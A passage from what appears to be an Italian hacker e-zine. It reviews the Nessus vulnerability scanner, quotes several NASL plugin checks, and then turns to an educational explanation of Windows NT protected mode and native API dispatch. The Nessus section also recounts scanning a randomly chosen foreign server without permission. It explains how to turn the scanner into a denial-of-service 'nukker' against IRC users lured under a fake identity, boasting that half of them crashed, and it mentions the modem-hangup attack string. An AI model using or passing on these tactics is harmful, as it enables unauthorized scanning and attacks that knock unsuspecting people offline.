abbiamo impostato prima da root con l'utility nessus-adduser. Ora siamo operativi. Nella sezione plugin compaiono ora tutte quelle che ha ottenuto dal server, divise per famiglie, disabilitabili singolarmente e con una descrizione accurata per ciascuna. Di default, come avvisa la finestrella che compare alla prima connessione, le plugin che possono provocare il crash di sistemi remoti sono disabilitate (ultima famiglia, col nome Denial of Service). Facciamo subito una prova: lasciamo le impostazioni cosi' come sono e mettiamo 127.0.0.1 nel target. Nel mio caso, ecco il risultato: Number of hosts which were alive during the test : 1 Number of security holes found : 0 ( tie'! hihi, mitika slack) Number of security warnings found : 8 (ops... ehmm... andiamo a vedere) Clicco sul nome dell'host a sinistra (127.0.0.1) ed ecco gli 8 warnings, non tutti sono ben documentati, ma non c'e' da lamentarsi. Ecco qualche esempio: 1) sendmail risponde ai comandi EXPN e/o VRFY, che possono essere usati rispettivamente per trovare il nome vero dell'alias o il nome intero del destinatario e la validita' dell'account, e mi consiglia quindi se uso sendmail di aggiungere l'opzione O PrivacyOptions=goaway in /etc/sendmail.cf Inoltre mi avvisa che e' vulnerabile alla redirezione: ovvero se mi viene inviata una mail a user@hostname1@victim, il server la spedira' ("allegramente") a user@hostname1. In questo modo il simpaticone puo' far sguisciare il mesaggio attraverso il firewall per giocare con altri smtp server che non sarebbero visibili e raggiungibili dall'esterno (ma guarda te quante cose si imparano eheh) Segue quindi la modifica al sendmail.cf R$*@$*@$* $#error $@ 5.7.1 $: '551 Sorry, no redirections.' E infine mi avvisa che il mio sendmail permette il relay (azz proprio messo male sto eheh!) 2) general tcp --> azz sono vulnerabile allo spoofing? e io che credevo che il mio bel kernelino 2.2.12 fosse a posto... Vediamo perche'. Predictable TCP sequence number (eh si, non si scappa, e' proprio quello) Insomma, i mie numeri non sono abbastanza random e sono vicini, incrementati dello stesso valore ogni volta. Segue la sequenza e il commentino, proprio per farmi vedere che non si scappa: SEQ: 3814839753 SEQ: 3814839753 relative size: 0 SEQ: 3816935659 relative size: 2095906 SEQ: 3816935659 relative size: 0 SEQ: 3868 relative size: 478035505 SEQ: 3868 relative size: 0 SEQ: 3975865765 relative size: 3975861897 SEQ: 3975865765 relative size: 0 SEQ: 3869 relative size: 319105400 SEQ: 3869 relative size: 0 Dopo un'analisi accurata i warning cmq si riducono a: tcp, sendmail e un altro (sul quale pero devo ancora indagare), quindi si sono piu' che dimezzati. Meglio comunque qualche falso allarme piuttosto che qualche insecurity hole non trovato :) Salvo il log in html e riprovo qualche altro scan, ma stavolta con l'ultima plugin che prima non era abilitata: DoS (speriamo bene, se crasha tutto devo ricominciare la registrazione che ho in background: mp3 --> minidisc :) ) [$%@#!!!] azz... non so se e' stata la mancanza di ram o nessus o cos'altro, ma qui si e' impastato tutto per qualche minuto, poi s'e' ripigliato (killando X e quindi anche lo scan in corso -e anche la registrazione ggggrrrrrr-) Riprovo con un sistema piu' libero e senza (o quasi) processi in background. Nulla di nuovo in piu', ancora gli 8 warnings di prima, ma ho avuto la macchina bloccata per un po', l'editor fermo, il cursore fisso immobile, la tastiera morta, ma il mio kernelino non e' stato sconfitto, ne' nessus mi ha riportato qualche warning in piu' riferito ai possibili DoS. Uhmm... e' tempo ora di fare un saltino fuori dalla mia linuxbox, siamo ora un po' piu' maliziosetti. Per prima cosa torniamo all'utente root e aggiungiamo un altro utente a nessusd, perche' il fritz creato prima con accept 127.0.0.1 default deny poteva solo effettuare scan in locale. Ora creiamo un utente all_scan con password all_scan e queste regole: deny 127.0.0.0/24 default accept ovvero puo' effettuare qualsiasi scan eccetto quelli che prevedono come target il suo sistema (il contrario di quello che poteva fare l'utente precedente). Abbandoniamo root e torniamo al semplice utente, cerchiamo qualche buon server sul quale testare nessus, l'ideale sarebbe un host coreano, noti non certo per la zelanza dei loro sysadmin, ma speriamo cmq che non se la prendano troppo. (Come dice mayhem, un conto e' bussare a tutte le porte di un palazzo, un altro e' cercare di forzarne la serratura di tutte, l'amministratore del condominio potrebbe menarsela un po') Per trovare un server qualsiasi coreano, --> Altavista ________________________________________________________________________ Ask AltaVista a question. Or enter a few words in [Korean______] *.kr______________________________________________ Search ________________________________________________________________________ e prendiamone uno a caso. Lo scan ora e' durato un'ora buona, ma e' stato molto redditizio. Esporto il risultato in latex (tra gli altri formati c'e' html, html con grafici e torte -fichissimo- e txt), poi dviizzo, postscriptizzo, stampo e vado a vedere. A parte il fatto che il report in formato ps e' veramente fico da vedere, sono piu' di 20 pagine e ha un aspetto veramente professionale, e' anche ben fatto. Dopo la copertina e l'indice, riassume la situazione in una introduzione: host scannati: 1, security warnings: 19, security holes: 4 (fuffffffio....). "Note that there is a big number of problems for a single network of this size. We strongly suggest that you correct them as soon as you can, although we know it is not always possible. [...] A script kid should be able to break into your network rather easily. [...] If you were considering hiring some security consultant to determine the security of your network, we strongly suggest you do so, because this should save your network". Il giudizio e' stato abbastanza severo, con i server coreani non si sbaglia quasi mai :)) Come gia' detto prima, la spiegazione dei vari problemi e' abbstanza esauriente, quindi una lettura anche delle sezioni che non interessano e' comunque consigliabile. Due sezioni particolarmente interessanti sono: -Sendmail --> ammette il relay (Warning) -Apache con count.cgi installata (Hole) Ultima nota riguardo al report scritto in latex: il sorgente e' snello e per nulla pesante, quindi facilemnte modificabile, e con pochi ritocchi, potrebbe tranquillamente sembrare un report fatto da noi a seguito di una prestazione di consulenza riguardo alla sicurezza di un server :)) -------[ Spippolamenti vari Ok, per ora e' stato illustrato il suntino di una semplice esecuzione di questo gioiellino, nulla di piu' di una semplice recensione. Andiamo a vedere ora qualche cosina di piu' approfondito. Nessus funziona a plugin, una per ogni insecurity, quindi queste sono il cuore del programma, che altrimenti si limiterebbe a poco piu' di uno scan. Queste si trovano in /usr/local/lib/nessus/plugins, scritte tutte in nasl, un linguaggio creato apposta (nella documentazione ne spiega i vantaggi rispetto al C, perl o altri), ma di non difficile comprensione. Per vedere come funziona purtroppo ci tocca andare a capire un linguaggio che per la maggior parte ignoriamo, quindi ne prendo una semplice, del tipo netbus.nasl, che bene o male possiamo intuire tutti di cosa parla :) Lo script inizia con la descrizione, in inglese e francese, e dei vari messaggi che poi andranno nel report in caso di backdoor rivelata, quindi questi li salto. La parte importante inizia senza dubbio qui: ------------------- [...] # # The script code starts here # port = get_kb_item("Services/netbus"); if(!port)port = 12345; if(get_port_state(port)) { soc = open_sock_tcp(port); if(soc) { # # Anti-deception toolkit check # r = recv(socket:soc, length:1024); close(soc); if("NetBus" >< r){ security_hole(port); } } } ------------------- Come si intuisce facilmente, le prime righe ricavano la porta sulla quale cercare la presenza di netbus, e poi si inizia una connessione, e se questa e' instaurata senza problemi ( if (soc) e' inequivocabile per chi conosce un po' di programmazione in generale) si mette a leggere cosa gli arriva, e se legge "NetBus", passa al programma principale il compito di scrivere il messaggio che e' abbinato alla porta 12345, e quindi nel report leggeremo la presenza di netbus e come disinstallarlo (per la cronaca: http://members.spree.com/NetBus/remove_1.html). Proviamo a prendere un'altra plugin, tipo per esempio il buffer overflow relativo al demone imap (root da remoto senza troppa difficolta' eheh!) Dopo le solite righe relative alla presentazione, troviamo: ------------------- [...] # # The script code starts here # port = get_kb_item("Services/imap"); if(!port)port = 143; if(get_port_state(port)) { data = string("1023 LOGIN ", crap(1023), "\r\n"); soc = open_sock_tcp(port); if(soc > 0) { buf = recv_line(socket:soc, length:1024); if(!buf) { set_kb_item(name:"imap/false_imap", value:TRUE); close(soc); exit(0); } send(socket:soc, data:data); buf = recv_line(socket:soc, length:1024); if(!buf){ security_hole(port); set_kb_item(name:"imap/overflow", value:TRUE); } close(soc); } } ------------------- Vediamo un po' cosa fa: ricava la porta sulla quale operare (143), instaura una connessione, verifica che non sia un falso, manda la stringa incrimata ("data") che dovrebbe causare l'overflow, e se non riceve risposta ( "if (!buf)" mi sa tanto di qualcosa tipo "if (buf==NULL)") allora dice al progr principale che e' stata trovata tale insecurity hole (anzi.. ole'! ok ok battuta pessima eheh!). Insomma, nulla di particolarmente difficile da comprendere, anzi, queste plugins possono rivelarsi anche un'ottima fonte di informazioni su come funzionano certi exploit. Ultimo esempio carino e' il file teardrop.nasl: ------------------- [...] # # The script code starts here # [...] qui costriusce i pacchetti udp spoofati # Send our UDP packets 500 times start_denial(); send_packet(udp1,udp2, pcap_active:FALSE) x 500; alive = end_denial(); if(!alive){ set_kb_item(name:"Host/dead", value:TRUE); security_hole(0); } ------------------- Simpatico il fatto che alla fine per capire se l'host e' vulnerabile controlla se e' vivo ( "if(!alive)" ), e in caso contrario allora riporta il rischio di tale vulnerabilita' :))) Una cosa che mi sembra di aver notato e' che appena trova una vulnerabilita' nei DoS finisce lo scan, dato che, secondo la sua logica, se un host si e' dimostrato debole e' perche' sembra morto, e quindi e' inutile ad andare avanti con gli altri test, dato che riporterebbero tutti risultati negativi (nel senso di nulla di trovato) poiche' tutte le connessioni non risulterebbero possibili a causa del crash appena provocato. Questo non mi e' risultato sempre vero, dato che ho trovato semplici PC che sembravano vulnerabili al teardrop, ma NON sono caduti, e ad ogni modo Nessus ha interrotto lo scan. In quel caso il test non ha riportato risultati corretti, anche dopo mia verifica manuale, teardrop.c e ip della vittima alla mano . -------[ Lamering Ultima considerazione che mi e' venuta in mente una sera quando su irc.tin.it con nome fasullo adescavo marpioni di ogni generazione che usavo come host su cui provare questa perla di programma (a prop: paola78 saluta tutti i frequentatori di #milano eheheh): se metto l'ip del casanova telematico, setto lo scan su una sola porta (magari 20034) e disabilito tutte le plugin tranne quelle relative alla famiglia dei Denial Of Service, Nessus si trasforma in un potente nukker, che prova ogni tipo di attacco fino a quando o rinuncia o sfonda :)) E le prove l'hanno confermato: il 50% delle vittime cadeva al volo, mentre l'altro 50%, anche con altri metodi, rimaneva up, quindi o era patchato alla morte o aveva un OS con le contropalle, ma cmq Nessus ha riportato ugualmente la vulnerabilita' senza accorgersi che era falsa (vedi qualche riga piu' in alto). Tutto cio' grazie a tin che non maschera l'ip dei suoi chatters :) NB: tra i vari DoS c'e' anche il mitico "+ + + ATH0 modem hangup" che mette a tacere sempre qualcuno. Be', prima di mandarlo, assicuratevi di patcharvi anche voi contro questo exploit, altrimenti mentre spedite questo ping, cadete per primi :) Io me ne sono accorto a mie spese. Per linux basta modificare il file /etc/ppp/pppscript mettendo come stringa di inizializzazione ATS2=255. Nel mio caso, cambiandolo un po' a "muzzo", il file e' diventato: TIMEOUT 60 ABORT ERROR ABORT BUSY ABORT "NO CARRIER" ABORT "NO DIALTONE" "" "ATS2=255" OK "atdtNUMERO_DI_TELEFONO_DEL_PROVIDER" TIMEOUT 75 CONNECT e cosi' funziona. -------[ Conclusioni E' un gioiellino, sise usato nel modo migliore, ovvero come analizzatore della propria rete, ma anche come scanner verso terzi ignari... Unica cosa da ricordare: non provate Nessus con tutti i server in tutta tranquillita' senza il minimo timore: per verificare se e' presente una vulnerabilita', la deve provare, e quindi risulta a tutti gli affetti che VOI abbiate eseguito quel particolare exploit. Quindi un sysadmin anche non troppo preparato potrebbe accorgersene del vostri vari tentativi, menarsela e rendervi la vita un po' piu' difficile di prima. that's all :) --[ fritz ]-- Club SpiPPoLaTorI www.spippolatori.com ========================================================================================== Digging in the dirt (Ovvero alla caccia delle api perdute) By Devil (SPP Member) Ebbene si , lo ammetto , Peter Gabriel e' una delle mie debolezze, una delle tante in realta'. Ma il titolo per questo articolo mi sembrava quantomai azzeccato perche'e'proprio nei profondi abissi di Windows NT che andremo a scavare, alla ricerca delle "native api" del microkernel di questo sistema. Innanzitutto cominciamo con un po' di storia. Windows NT nasce come sistema di medio-alta fascia e con l'obiettivo ambizioso di supportare alcuni sottosistemi. In parole povere microsoft aveva in mente di offrire un unico ambiente dove poter far girare applicazioni Win32,MSDOS,OS/2 e Posix. Il progetto e' riuscito in minima parte in quanto sia il supporto a Posix che a OS/2 e' alquanto limitato, ma l'idea di base era carina e poggiava su una strategia collaudata: sottosistemi separati che girano come applicazioni utente (ring 3, poi vedremo che significa) e che traducono le chiamate di sistema a un unico kernel ( a ring 0) che si occupa di servirle. Il semplice ascii non si presta molto al disegno ma la figura qui sotto dovrebbe chiarire le idee: +-------+ +--------+ +---------+ | Posix | | Win32 | | OS/2 | Ring 3 +-------+ +--------+ +---------+ |---------------|---------------| ====|===============|===============|============== | | | -------- NTOSKERNEL ---------- Ring 0 In altre parole un programma che gira sotto Posix o MSDOS e che cerca di aprire un file con open() invoca ,come una CreateFile() di Win32, la stessa funzione del kernel di NT. L'operazione di traduzione e di passaggio dei parametri viene effettuata dal sottosistema per cui e' scritta l'applicazione e che esegue fisicamente la chiamata. Il disegno, ad onor del vero, e' valido per NT 3.51 in quanto a partire dalla versione 4.0 (ed ora con Windows 2000) il sottosistema Win32 e' passato a Ring 0 ,come estensione del kernel di NT, questo per ottenere migliori performance da parte delle gdi (Il Codice si trova tutto in WIN32K.SYS). Prima di illustrare dove e come si trovano le native api c'e' bisogno di un minimo di background sulla modalita' protetta. Quelli che conoscono gia' bene l'argomento possono saltare a pie' pari tutta la pallosa spiegazione. Modalita' Protetta,selettori e call gates ----------------------------------------- Ma cosa significa la notazione Ring 0 o Ring 3 ? Per spiegare questo dobbiamo inevitabilmente accennare alle due modalita' (sono tre in realta' ma per ora non ci interessa) in cui puo' funzionare un processore della famiglia 80386 (e successivi): la modalita' reale e la modalita' protetta. (per la modalita' v86, la terza, rimando ad un successivo articolo :-)). Quelli che ,come me, hanno smanettato con MS-DOS ricorderanno le innumerevoli "scorribande" che un codice malizioso poteva effettuare all'interno del sistema operativo. Cambio di tabelle,sostituzione di indirizzi, sovrascrittura del vettore delle interruzioni... tutte cose possibili essenzialmente per un motivo: il processore non riusciva a distinguere quali segmenti di memoria fossero del sistema operativo e quali dell'applicazione MS-DOS. A causa di questa limitazione era un gioco da ragazzi far crashare il sistema, bastava ottenere il segmento dove risiedeva l'MS-DOS e sovrascriverlo allegramente con una serie di zeri. Nessun sistema operativo sarebbe sopravvissuto ad un trattamento del genere ;-) Con l'arrivo del 386 le cose cambiarono radicalmente (cominciarono gia' col 286 ma pochi se ne accorsero). Questo processore era in grado di funzionare in una modalita' in cui il codice dell'applicazione non poteva in alcun modo sovrascrivere quello del SO : nasceva la modalita' protetta. Ovviamente non si poteva perdere la compatibilita' verso MS-DOS e per questo motivo il processore, all'atto dell reset, comincia a girare come un vecchio 8088 (modalita' che venne chiamata Reale) con buona pace di tutte le vecchie applicazioni. Per farlo switchare in modalita' protetta occorrono dei passi ben precisi,istruzioni apposite, ed un lavoro di preparazione dei segmenti di memoria piuttosto complicato. Ma in soldoni la differenza sostanziale tra la modalita' reale e protetta e' il modo in cui il processore forma gli indirizzi. In modalita' reale la traslazione tra memoria logica e fisica avviene attraverso il meccanismo segmento:offset. Ad esempio l'indirizzo logico 0030:0129 (segmento=0030,offset=0129) si traduce nell'indirizzo fisico 00429 perche' per formare un indirizzo fisico in modalita' reale il processore esegue i seguenti passi: a) prendo il segmento lo trasformo in un numero a 20 bit e lo ruoto a sinistra di 4 bit (0030->00030->00300) b) prendo l'offset e lo sommo al segmento appena ruotato (00300+0129=00429) In modalita' protetta esistono nuovi registri e una nuova modalita' di indirizzamento detta selettore:offset. Il selettore viene utilizzato come indice in una tabella di descrittori che sono oggetti lunghi 8 bytes in cui ci sono informazioni riguardanti l'inizio del segmento, la sua grandezza, il tipo (dati,codice,o altro) e il livello di privilegio (DPL)che bisogna possedere per accedere al segmento stesso. La regola dice che un livello di privilegio e' un numero intero compreso tra 0 e 3 e che 0 indica livello di privilegio piu' alto 3 livello di privilegio piu' basso. (si lo so sono un po' strani alla Intel ma tant'e'... bisogna ragionare al contrario) Questa tabella di descrittori e' costruita dal sistema operativo all'atto dell'inizializzazione e la sua posizione in memoria e' indicata da un nuovo registro GDTR (Global Descriptor Table Register) Vediamo praticamente come viene interpretato un indirizzo come questo 0030:80090000. GDT 80090000 Limit=C0000000 +---------------+ +-------------+ | | | 0000 |Descrittore 0| | | | +-------------+ | | | 0001 |Descrittore 1| +---------------------->| Segmento | +-------------+ | Codice con | ... .......... | DPL=0 | +-------------+ | | |Base 00000000| ----------------------->Base=00000000+---------------+ 0030 |Limit C000000| | Tipo=Code | |DPL=0 | +-------------+ ... ............... Il numero 0030 viene usato come indice nella tabella dei descrittori globali (GDT da ora in poi).Il descrittore contenuto viene memorizzato in una cache interna del processore per i succesivi accessi senza dover riscorrere la GDT e viene fatto un primo range check sull'offset rischiesto(80090000). Ovviamente se ricade al difuori dei limiti imposti dal descrittore abbiamo un General Protection Fault, trappolato dal sistema operativo (attraverso un' eccezione 13 vedi dopo)e l'accesso viene negato. Se il check risulta positivo l'indirizzo fisico e' generato sommando Base+Offset. In questo caso 00000000+80090000. Tutto cio' se la paginazione non e' attivata altrimenti il discorso si complica... ma non ne parlero' in quest'articolo,per ora non ci serve :-)) Come rientra in questo gioco il meccanismo di protezione ? E' molto semplice supponiamo che l'indirizzo sopra indicato sia generato da una CALL, diciamo CALL 0030:80090000 che si trova in una procedura. La procedura, trovandosi all'interno di un segmento avra' un livello di privilegio (chiamato Current Privilege Level o CPL), supponiamo sia CPL=3. Se eseguissimo la precedente chiamata otterremmo un bel General Protection Fault (si esatto del tipo finestrella di windows con crocetta bianca su pallino rosso) questo perche' il livello di privilegio corrente e' piu' basso (numero piu' alto) del DPL del segmento in cui vogliamo saltare e il processore 80386 non permette a codice meno privilegiato di eseguire codice piu' privilegiato. Come , ovviamente , non permette che codice meno privilegiato vada a scrivere (volontariamente o no) su un segmento dati piu' privilegiato (attraverso ,che so, una mov 0030:[80090000],0). La schematizzazione che si fa in questo frangente e' immaginare la memoria divisa ad anelli (o Rings) il cui anello piu' interno e' occupato dal codice del kernel (Ring 0) e il codice piu' esterno dalle applicazioni utente (Ring 3) con i due anelli intermedi 1 e 2 inutilizzati (almeno da NT, sono usati infatti solo i due livelli 0=kernel 3 =applicazioni utente). A questo punto pero' dovrebbe sorgere una domanda spontanea:"ma se un'applicazione utente non puo' mai chiamare codice piu' privilegiato (leggi kernel) come si fa a chiamare i servizi del sistema operativo ?" Esistono due meccanismi possibili: call gates e Interrupt gates. Il primo si realizza attraverso un descrittore speciale che si puo' inserire nella GDT e che ha il seguente formato (sono sempre 8 bytes ovviamente !!!) 31 16 15 14 13 12 8 7 6 5 4 0 +----------------------------+---+-----+------+------+----------+ | Offset 31:16 | P | DPL | Tipo |0 0 0 | Parametri| +----------------------------+---+-----+------+------+----------+ | Selettore | Offset 15:0 | +---------------------------------------------------------------+ Come potete vedere all'interno e' un po' diverso da un descrittore normale, le cose interessanti sono il campo selettore e DPL. (Tipo e' un numero che indica al processore che e' un Gate Descriptor e Parametri e' il numero di parametri opzionali che vanno copiati nello stack all'atto della chiamata, oltre al segmento e offset di ritorno) Torniamo all'esempio di prima e supponiamo che al selettore 0030 non corrisponda un descrittore normale ma un call gate con il suo DPL=3. La prima cosa che il processore fa e' controllare se il DPL >=CPL in questo caso il controllo e' positivo perche CPL= DPL =3.Ora il processore deve ricavare il punto di ingresso della chiamata e lo fa utilizzando il selettore all'interno della call gate, con quello va nella GDT e prende il descrittore corrispondente e a questo punto controlla il DPL di quel descrittore con il DPL della call gate se risulta minore o uguale (qundi codice piu' privilegiato o uguale) tutto ok altrimenti genera un General Protection Fault. A questo punto l'offset all'interno della call gate rappresenta il punto di ingresso della soubroutine che verra' eseguita al DPL dell'ultimo descrittore esaminato che sara' sicuramente con codice di uguale o maggior privilegio. Come potete notare l'offset 80090000 viene completamente ignorato. Uno schemino forse aiuta: CALL 0030:80090000--> Ignorato | +--------------+ | GDT | | | +-------+------------------------>Offset | Punto di | +--> | CallG |---+ | ingresso | +-------+ | | | .... | | | | | | +------+<----+ | | | Base | | | |Limit | | | | DPL=0| | | +------+-------------------------------> +--------------+ Il secondo meccanismo e' pressoche' identico solo che viene generato da un interrupt e non da una call Gli interrupt in modalita' protetta vengono gestiti in maniera simile alla modalita' reale, solo che invece di avere una tabella di 256 puntatori locata all'indirizzo 0000 (come era per il DOS) abbiamo una tabella speciale di descrittori (Interrupt Descriptor Table o IDT) che si trova all'indirizzo puntato da un registro ,IDTR, presente negli 80386 e successivi. I livelli di interrupt sono 256 , come per la modalita' reale, ma i primi 16 sono riservati come "uso interno del sistema" e vengono chiamati eccezioni. Ad esempio l'interrupt 6 e' un eccezione di Opcode non valido,l'interrupt 0 e' Division by zero, l'eccezione 13 e' un general protection fault. Queste eccezioni puntano a codice interno del kernel che si occupa di gestirle adeguatamente, tentando di non far incartare la macchina :-) Gli altri sono a disposizione dei dispositivi hardware e dei programmatori che possono chiamarle con una INT nn. nn viene utilizzato come indice nella IDT per selezionare il descrittore associato all'interruzione. Il descrittore dell'interrupt e' identico alla call gate e il meccanismo di assegnazione e check dei privilegi e' uguale. Il vantaggio di usare una int nn al posto di una call e' il risparmio di 5 bytes ad ogni chiamata (call 0030:80090000 occupa 7 bytes int 23 solo 2) Native Api ---------- Dopo questa chiacchierata rapidissima sui livelli di privilegio siamo pronti a parlare del meccanismo delle chiamate alle api del kernel di NT. Come primo esperimento apriamo gestione risorse, cerchiamo kernel32.dll, tasto destro (caazzo e'partita la shelldoor.. vabbe'.-)) quick view (oppure usate un dumpbin..insomma fate voi) questo con lo scopo di vedere le funzioni importate da altri moduli . C'e' una DLL importata interessante, NTDLL.DLL, che fara' mai ? Boh , ma una cosa e' certa tutti i programmi che usano kernel32.dll indirettamente la importeranno (ovvero la quasi totalita' delle applicazioni che girano su windows.) A questo punto, distrutti dalla curiosita' lanciamo il nostro fedele IDA pro e diamogli in pasto NTDLL.DLL (ed eventualmente i simboli di debug che sono sul CD rom di windows NT solo per rendere il codice piu' leggibile) Questo e' un estratto di due funzioni esportate da NTDLL e disassemblate con IDA 77F67B5C arg_0 = byte ptr 4 77F67B5C 77F67B5C mov eax, 4Ch ; NtOpenDirectoryObject 77F67B61 lea edx, [esp+arg_0] 77F67B65 int 2Eh 77F67B65 77F67B67 retn 0Ch 77F67B67 _NtOpenDirectoryObject@12 endp 77F67B6C _NtOpenEvent@12 proc near 77F67B6C 77F67B6C arg_0 = byte ptr 4 77F67B6C 77F67B6C mov eax, 4Dh ; NtOpenEvent 77F67B71 lea edx, [esp+arg_0] 77F67B75 int 2Eh 77F67B75 77F67B77 retn 0Ch 77F67B77 _NtOpenEvent@12 endp Praticamente l'intera DLL non e' altro che una sequenza di int 2Eh con EDX e EAX caricati con valori diversi. Mmm la cosa ci suona familiare, sembrerebbe che NT utilizzi il sistema delle interrupt gates che abbiamo visto prima. Per averne conferma entriamo nel SoftIce e facciamoci stampare la tabella delle interruzioni con il comando IDT. Questo e' un estratto: 002A IntG32 0008:8013E756 DPL=3 P _KiGetTickCount 002B IntG32 0008:8013E840 DPL=3 P _KiCallbackReturn 002C IntG32 0008:8013E950 DPL=3 P _KiSetLowWaitHighThread 002D IntG32 0008:8013F50C DPL=3 P _KiDebugService 002E IntG32 0008:8013E2D0 DPL=3 P _KiSystemService 002F IntG32 0008:801416F8 DPL=0 P _KiTrap0F Concentriamo la nostra attenzione sull'interrupt 2E. Notiamo subito una cosa: il DPL del descrittore dell'interrupt gate e' 3 come dovrebbe essere un gate che permetta l'accesso, da parte di codice meno privilegiato, alle routines di sistema che girano a Ring 0. Il selettore contenuto nel descrittore e' 0008. Facendo una lista della GDT (con il comando GDT di SoftIce) vediamo che il selettore 0008 punta ad un descrittore con DPL=0 (come e' richiesto dal controllo di privilegio delle call/interrupt gates). Quindi all'atto del salto la routine verra' eseguita al massimo livello di privilegio, con punto di ingresso 8013e2d0 Abbiamo anche il nome interno che il kernel usa per indicare la routine chiamata dall' int 2E :_KiSystemService. Quindi come nel dos l'istruzione int 21h chiamava le api interne del sistema qui a farlo e' l'istruzione int 2E... l'unica differenza e' che le native api sono ben lontane da essere documentate da microsoft ( chissa' poi perche'... bah) Abbiamo quindi un quadro piu' chiaro di come un processo chiami le funzioni del kernel, eccovi uno schemino +-----------+ <-------------+ | Programma | | | Win 32 | | +-----------+ | | | | | +------------+ | Processo |Kernel32.DLL| | +------------+ | | | +------------+ | | NTDLL.DLL | | +------------+<-------------+ | RING 3 ======+INT 2E======================================== | RING 0 | +-------------------+ | NTOSKRNL.EXE | +-------------------+ Il doppio passaggio Kernel32.dll --> NTDLL.DLL e' necessario per garantire la compatibilita' tra applicazioni win9x e winnt senza dover ricompilare l'eseguibile. Tutte le applicazioni windows infatti importano almeno Kernel32.DLL (che indirettamente importa NTDLL che chiama ntoskrnl che al mercato mio padre compro' :-)). Praticamente sotto NT la DLL kernel32 e' poco piu' che un convertitore di parametri (una stub DLL) Un utile ,e lungo, esercizio a questo punto e' disassemblarsi la funzione _KiSystemService per capire cosa fa. La funzione si aspetta il numero della api nel registro EAX che usera' come indice per chiamare la api stessa. NT internamente usa due tabelle per gestire le chiamate: una e' un array di puntatori agli indirizzi dove effettivamente risiede il codice delle api e l'altra e' un array che contiene il numero di bytes che ogni funzione accetta come parametri nello stack. In disegni le tabelle sono fatte cosi'(ogni entry della tavola indirizzi e' 4 bytes mentre ogni entry della tavola parametri e' 1 byte): EAX Tavola Indirizzi Tavola parametri +------------------+ +-----------------------+ 0 | Indirizzo Funz.0 | | Num. Bytes Funzione 0 | +------------------+ +-----------------------+ 1 | Indirizzo Funz.1 | | Num. Bytes Funzione 1 | +------------------+ +-----------------------+ 2 | ........... | | ........... | Domanda: come faccio a sapere dove sono queste tabelle ? Risposta: ce lo dice una struttura esportata da NTOSKRNL.EXE chiamata KeServiceDescriptorTable. (Potete verificare l'effettiva esportazione con dumpbin del file NTOSKERNEL.EXE) La struttura ha il seguente formato (lo scrivo come struct del C) struct KeServiceDescriptorTable { void * PuntaTavolaServizi; void * ContatoreSerivizi; unsigned int NumeroServizi; void * PuntaTavolaParametri; } con: PuntaTavolaServizi : Puntatore alla tabella dei servizi che sappiamo essere un array di indirizzi. ContatoreServizi : Questa variabile e' usata solo nella versione checked build di NT. Conta quante volte viene chiamato l'int 2e NumeroServizi : E' il numero di native api contenute nella tabella PuntaTavolaParametri: Puntatore alla tabella che contiene,per ogni servizio, il numero di bytes da passare al servizio stesso Con SoftIce e con i simboli di debug di ntoskrnl.exe caricati possiamo vedere questa struttura con il comando d KeServiceDescriptorTable. Questo e' quello che capita sul mio NT. :d keservicedescriptortable 0023:8014F690 40 AC 14 80 00 00 00 00-D3 00 00 00 90 AF 14 80 @............... 0023:8014F6A0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ In questo caso abbiamo che PuntaTavolaServizi=8014Ac40,ContatoreServizi=0 (beh non e' una checked build) NumeroServizi=D3 (211 decimale) e PuntaTavolaParametri=8014AF90. Grazie a questa struttura quindi possiamo rintracciare non solo le due tabelle rispettivamente dei puntatori e del numero di parametri ma anche di quante native api il kernel e' dotato ( per la cronaca NT 3.51 ne aveva 196, NT 4.0 211, Windows2000 244 di cui solo un 20% documentate nel DDK) In pratica questa operazione e' tutto cio' che fa SoftIce quando digitiamo il comando NTCALL per la lista delle native api... ma volete mettere la differenza tra digitare e capire che cosa accade ? ;-)) Un'altra domanda che potrebbe venire spontanea e': ma perche' esportare la struttura in modo da rendere accessibili tabelle che ,in fondo, sono oggetti interni al sistema operativo e abbastanza delicati ? Beh all'inizio non capivo bene francamente. Poi una piccola illuminazione: l'estensibilita'. Permettere ad altro codice privilegiato di accedere alla tabella dei servizi consentirebbe innesti di altri pezzi di microkernel originariamente non pensati. (L'estensione delle api potrebbe essere un argomento futuro... ci pensero') Il programma di esempio ----------------------- Scriveremo un programma che fa la stessa funzione della chiamata a NTCALL di SoftIce. Per fare questo un processo a livello utente non basta perche' le tabelle si trovano in una zona di memoria non accessibile a programmi a Ring 3.L'hacker malizioso potrebbe pensare di accedere alla struttura usando un descrittore di ring 3 che mappi tutta la memoria disponibile del computer (ed effettivamente questo descrittore esiste) ma non avrebbe fatto i conti con l'ulteriore livello di protezione che la paginazione permette (e di cui noi non abbiamo parlato). Quello che si leggerebbe usando questo descrittore non corrisponderebbe ai valori reali presenti in memoria ma all'immagine che il sistema operativo ci darebbe delle proprie aree riservate (ovvero tutti zeri qundo siamo fortunati altrimenti il nulla :)). Se siete come S.Tommaso l'esperimento e' facile, basta andare con un debugger tipo quello del visual C++ a disassemblare le locazioni da 80000000 in su. Risultato... beh non certo i veri valori contenuti nelle locazioni (confrontateli con i valori ritornati da SoftIce per le stesse locazioni) SoftIce ci riesce perche' e' un kernel driver ovvero gira a Ring 0 e quindi ha accesso a tutti i segmenti del SO. Per leggere la tabella dobbiamo scrivere quindi un Kernel driver che poi comunichi con un programmello Win32 attraverso delle chiamate DeviceIoControl. L'argomento KD e' molto lungo e complesso e non riesco nemmeno ad accennarlo in questo articolo. Prendete il programma cosi' com'e' ed eventualmente usatelo come punto di partenza per lo studio di questo affascinante ramo della programmazione di sistema. Il programma e' composto da due pezzi native.exe e TabApi.sys. Native.exe e' l'applicazione win32 che carica dinamicamente il driver in memoria (quindi occhio, bisogna essere amministratori di sistema) e chiama la sua unica funzione interna ,quella che legge effettivamente la tabella, attraverso una DeviceIOControl con codice IOCTL_TABAPI_READBUFFER da me definito nell'header tabapi.h. Driver e applicazione usano una struttura per comunicare, l'ho chiamata InfoTabella (si beh , i nomi non sono il mio forte) Per avere i dati relativi ad una api basta chiamarla con il campo InfoTabella.Servizio settato al numero che ci interessa. Il programma riporta tutte le api del kernel esattamente come la chiamata a NTCALL di SoftIce. L'unica differenza e' che non stampa il nome esportato dal kernel per le varie funzioni, come invece fa SoftIce ... ma questo viene lasciato come esercizio ;-) Un 'ultima cosa. La lunghezza dei parametri viene data in byte laddove Softice la da in "parametri"... basta dividere la lunghezza per 4 ed abbiamo gli stessi valori. Un'ultima raccomandazione di carattere "tecnico". Il programma di esempio e' un software che gira al massimo livello di privilegio permesso ad un'applicazione. A causa di questo 